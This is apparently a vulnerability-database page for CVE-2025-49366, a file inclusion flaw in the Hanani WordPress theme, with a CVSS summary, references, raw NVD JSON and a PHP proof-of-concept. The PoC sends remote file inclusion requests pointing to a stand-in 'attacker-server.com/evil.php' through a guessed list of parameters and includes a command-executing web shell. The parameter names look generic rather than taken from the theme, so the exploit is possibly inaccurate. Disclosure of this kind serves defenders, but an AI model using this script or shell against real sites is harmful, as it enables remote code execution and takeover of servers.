CVE-2025-49366

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Hanani hanani allows PHP Local File Inclusion.This issue affects Hanani: from n/a through <= 1.2.11.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Hanani主题 <= 1.2.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-49366 PoC - Hanani Theme Local File Inclusion / Remote File Inclusion
 * Target: AncoraThemes Hanani WordPress Theme <= 1.2.11
 * Type: PHP Remote File Inclusion
 * 
 * Usage:
 * 1. Host a malicious PHP file on attacker-controlled server
 * 2. Replace ATTACKER_SERVER with your server IP/domain
 * 3. Replace TARGET_URL with the vulnerable WordPress site
 * 4. Execute the PoC
 */

$target_url = 'http://target-site.com/';
$attacker_server = 'http://attacker-server.com/';
$malicious_file = 'evil.php';

// Method 1: Direct Remote File Inclusion via common theme parameters
$vulnerable_params = [
    'template',
    'theme',
    'page',
    'file',
    'action',
    'view',
    'load'
];

echo "[*] CVE-2025-49366 PoC - Hanani Theme RFI\n";
echo "[*] Target: {$target_url}\n";
echo "[*] Attacker Server: {$attacker_server}\n\n";

foreach ($vulnerable_params as $param) {
    $payload = $attacker_server . $malicious_file;
    $exploit_url = $target_url . '?' . $param . '=' . urlencode($payload);
    
    echo "[+] Testing parameter: {$param}\n";
    echo "[+] Exploit URL: {$exploit_url}\n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $exploit_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && !empty($response)) {
        echo "[!] Potential vulnerability detected with parameter: {$param}\n\n";
    }
}

// Method 2: Direct file inclusion path traversal
$path_traversal_payload = $attacker_server . $malicious_file . '?cmd=whoami';
$exploit_url_2 = $target_url . '?file=' . urlencode($path_traversal_payload);
echo "[+] Alternative exploit URL: {$exploit_url_2}\n";

// Malicious PHP file example (to be hosted on attacker server)
$malicious_php = '<?php
if(isset($_GET["cmd"])) {
    system($_GET["cmd"]);
} else {
    echo "Shell uploaded - use ?cmd=<command>";
}
?>'

?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49366
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49366
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49366/
[4] VulDB https://vuldb.com/cve/CVE-2025-49366
[5] https://patchstack.com/database/Wordpress/Theme/hanani/vulnerability/wordpress-hanani-theme-1-2-11-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49366", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:50.907", "lastModified": "2026-04-27T20:16:13.147", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Hanani hanani allows PHP Local File Inclusion.This issue affects Hanani: from n/a through <= 1.2.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/hanani/vulnerability/wordpress-hanani-theme-1-2-11-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}